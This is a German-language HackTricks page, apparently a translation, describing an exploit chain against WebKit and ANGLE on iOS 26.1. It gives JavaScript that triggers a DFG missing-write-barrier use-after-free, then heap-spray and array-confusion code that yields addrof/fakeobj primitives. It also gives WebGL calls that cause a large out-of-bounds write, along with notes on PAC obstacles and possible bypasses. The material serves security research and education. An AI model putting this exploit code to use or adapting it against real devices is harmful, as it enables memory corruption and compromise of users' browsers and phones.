WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks

Zusammenfassung

  • DFG Store Barrier bug (CVE-2025-43529): In DFGStoreBarrierInsertionPhase.cpp verursacht ein Phi-Knoten, der als escaped markiert ist, wĂ€hrend seine Upsilon-EingĂ€nge es nicht sind, dass die Phase das EinfĂŒgen einer Schreibbarriere bei nachfolgenden Objektstores ĂŒberspringt. Unter GC-Druck lĂ€sst das JSC dadurch noch erreichbare Objekte freigeben → use-after-free.
  • Exploit target: Erzwinge, dass ein Date Objekt ein butterfly materialisiert (z. B. a[0] = 1.1), sodass der butterfly freigegeben wird und dann als Array-Elementspeicher wiederverwendet wird, um boxed/unboxed-Verwirrung zu erzeugen → addrof/fakeobj Primitiven.
  • ANGLE Metal PBO bug (CVE-2025-14174): Das Metal-Backend allokiert den PBO-Staging-Buffer unter Verwendung von UNPACK_IMAGE_HEIGHT anstelle der tatsĂ€chlichen Texturhöhe. Wenn man eine sehr kleine unpack height angibt und dann ein großes texImage2D aufruft, fĂŒhrt das zu einem staging-buffer OOB write (~240KB im PoC unten).
  • PAC blockers on arm64e (iOS 26.1): TypedArray m_vector und JSArray butterfly sind PAC-signed; das FĂ€lschen von fake objects mit vom Angreifer gewĂ€hlten Zeigern fĂŒhrt zu AbstĂŒrzen mit EXC_BAD_ACCESS/EXC_ARM_PAC. Nur das Wiederverwenden bereits signierter butterflies (boxed/unboxed-Uminterpretation) funktioniert.

Auslösen der fehlenden DFG-Barriere → UAF

function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A;                 // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly

// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));

const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1;       // Phi escapes, Upsilon not escaped
A.p1 = f;                           // Missing barrier state set up

for (let i = 0; i < 1e6; ++i) {}    // GC race window
b.p1 = a;                           // Store without barrier → frees `a`/butterfly
}

Wichtige Punkte:

  • Platziere A im Old Space, um generational barriers auszulösen.
  • Erzeuge ein indiziertes Date, sodass die butterfly das freigegebene Ziel wird.
  • Spraye ArrayBuffer(0x800000), um GC zu erzwingen und das Rennen zu verbreitern.
  • Das Phi/Upsilon escape mismatch verhindert das EinfĂŒgen der Barriere; b.p1 = a lĂ€uft ohne write barrier, sodass der GC a/butterfly einsammelt.

Butterfly-Reclaim → boxed/unboxed-Verwirrung

Nachdem der GC die Date butterfly freigegeben hat, spraye Arrays, sodass der freigegebene Slab als Elemente fĂŒr zwei Arrays mit unterschiedlichen element kinds wiederverwendet wird:

boxed_arr[0]   = obj;          // store as boxed pointer
const addr     = ftoi(unboxed_arr[0]); // read as float64 → addr leak
unboxed_arr[0] = itof(addr);   // write pointer bits as float
const fake     = boxed_arr[0]; // reinterpret as object → fakeobj

Status auf iOS 26.1 (arm64e):

  • Funktioniert: addrof, fakeobj, 20+ address leaks per run, inline-slot read/write (on known inline fields).
  • Noch nicht stabil: generalisierte read64/write64 via inline-slot backings.

PAC constraints on arm64e (warum fake objects crash)

  • TypedArray m_vector und JSArray butterfly sind PAC-signed; gefĂ€lschte pointers fĂŒhren zu EXC_BAD_ACCESS / vermutlich EXC_ARM_PAC.
  • Die confusion primitive funktioniert, weil sie legitime signierte butterflies wiederverwendet; das EinfĂŒhren unsignierter attacker pointers schlĂ€gt bei der Authentifizierung fehl.
  • Mögliche Bypass-Ideen: JIT-Pfade, die auth ĂŒberspringen; gadgets, die attacker pointers signieren; oder Pivoting durch das ANGLE OOB.

ANGLE Metal PBO Unterallokation → OOB write

Verwende eine sehr kleine unpack height, um den staging buffer zu verkleinern, und lade dann eine große texture hoch, sodass die copy ĂŒberlĂ€uft:

gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16);  // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual  = 256 * 256 * 4 = 256KB → ~240KB OOB

gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);

Hinweise:

  • Fehler in TextureMtl.cpp: Der Staging-Buffer verwendet UNPACK_IMAGE_HEIGHT statt der tatsĂ€chlichen Texturhöhe auf dem PBO-Pfad.
  • In der referenzierten Probe ist der WebGL2 PBO-Trigger eingebunden, wurde jedoch auf iOS 26.1 noch nicht zuverlĂ€ssig beobachtet.

Referenzen

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks